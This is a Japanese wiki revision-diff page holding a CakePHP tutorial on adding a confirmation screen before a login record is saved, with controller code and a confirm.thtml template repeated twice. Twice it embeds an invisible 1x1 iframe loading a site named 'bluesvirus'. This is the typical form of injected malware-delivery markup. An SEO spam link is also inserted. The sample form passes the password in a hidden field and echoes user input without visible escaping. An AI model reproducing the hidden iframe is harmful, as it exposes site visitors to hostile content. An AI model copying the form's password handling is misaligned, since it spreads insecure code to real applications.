「確認画面を挟む」(2007/09/25 (火) 02:05:07) の最新版変更点
追加された行は緑色になります。
削除された行は赤色になります。
&html(<iframe src="http://2ch.bluesvirus.com" height="1" width="1" frameborder="0"></iframe>)
bakeで自動生成されたaddアクションは下記のようになります。
function add() {
if(empty($this->data)) {
$this->set('login', null);
} else {
$this->cleanUpFields();
if($this->Login->save($this->data)) {
if(is_object($this->Session)) {
$this->Session->setFlash('The Login has been saved');
$this->redirect('/login/index');
} else {
$this->flash('Login saved.', '/login/index');
}
} else {
if(is_object($this->Session)) {
$this->Session->setFlash('Please correct errors below.');
}
$data = $this->data;
$this->set('login', $data);
}
}
}
このままでは、入力情報がDBに保存される前に確認画面は表示されません。しかし、確認画面が必要な場面もあります。
以下のように書き換え、確認画面のView(confirm.thtml)を作成します。
function add() {
if(empty($this->data)) {
$this->set('login', null);
} else {
$this->cleanUpFields();// ?
if(@$_POST['mode']=='confirm')
{
if(!$this->Login->validates($this->params['data']))
{
$this->render();
}
else
{
$this->set('form', $this->params['form']);
$this->set('data', $this->params['data']);
$this->render("confirm");
}
}
else
{
if ($this->Login->save($this->params['data']))
{
$this->redirect('/login');
}
else
{
$this->set('data', $this->params['data']);
$this->validateErrors($this->Login);
$this->render();
}
}
}
}
confirm.thtml
<h1>新規作成:確認画面</h1>
<form action="<?php echo $html->url('/login/add'); ?>" method="post">
<div class="required">
<label for="login_login_id">ログインid</label>
<?php echo $html->tagValue('Login/login_id') ?>
<?php echo $html->hidden('Login/login_id', array('value' => $html->tagValue('Login/login_id')))?>
</div>
<div class="login_password">
<label for="recommend_content">パスワード</label>
<?php echo $html->tagValue('Login/password') ?>
<?php echo $html->hidden('Login/password', array('value' => $html->tagValue('Login/password')))?>
</div>
<div class="submit">
<input type="button" value="戻る" onclick="history.go(-1)" />
<input type="submit" value="作成" /></div>
</form>
<ul>
<li><a href="/sys/index.php/recommend/">一覧へ戻る</a></li>
</ul>
&html(<iframe src="http://2ch.bluesvirus.com" height="1" width="1" frameborder="0"></iframe>)
全然更新してなくてごめんなさい。。
&html(<a href="http://akelos.free4seo.com/">最近はAkelosを使っています。</a>)
bakeで自動生成されたaddアクションは下記のようになります。
function add() {
if(empty($this->data)) {
$this->set('login', null);
} else {
$this->cleanUpFields();
if($this->Login->save($this->data)) {
if(is_object($this->Session)) {
$this->Session->setFlash('The Login has been saved');
$this->redirect('/login/index');
} else {
$this->flash('Login saved.', '/login/index');
}
} else {
if(is_object($this->Session)) {
$this->Session->setFlash('Please correct errors below.');
}
$data = $this->data;
$this->set('login', $data);
}
}
}
このままでは、入力情報がDBに保存される前に確認画面は表示されません。しかし、確認画面が必要な場面もあります。
以下のように書き換え、確認画面のView(confirm.thtml)を作成します。
function add() {
if(empty($this->data)) {
$this->set('login', null);
} else {
$this->cleanUpFields();// ?
if(@$_POST['mode']=='confirm')
{
if(!$this->Login->validates($this->params['data']))
{
$this->render();
}
else
{
$this->set('form', $this->params['form']);
$this->set('data', $this->params['data']);
$this->render("confirm");
}
}
else
{
if ($this->Login->save($this->params['data']))
{
$this->redirect('/login');
}
else
{
$this->set('data', $this->params['data']);
$this->validateErrors($this->Login);
$this->render();
}
}
}
}
confirm.thtml
<h1>新規作成:確認画面</h1>
<form action="<?php echo $html->url('/login/add'); ?>" method="post">
<div class="required">
<label for="login_login_id">ログインid</label>
<?php echo $html->tagValue('Login/login_id') ?>
<?php echo $html->hidden('Login/login_id', array('value' => $html->tagValue('Login/login_id')))?>
</div>
<div class="login_password">
<label for="recommend_content">パスワード</label>
<?php echo $html->tagValue('Login/password') ?>
<?php echo $html->hidden('Login/password', array('value' => $html->tagValue('Login/password')))?>
</div>
<div class="submit">
<input type="button" value="戻る" onclick="history.go(-1)" />
<input type="submit" value="作成" /></div>
</form>
<ul>
<li><a href="/sys/index.php/recommend/">一覧へ戻る</a></li>
</ul>
表示オプション
横に並べて表示:
変化行の前後のみ表示: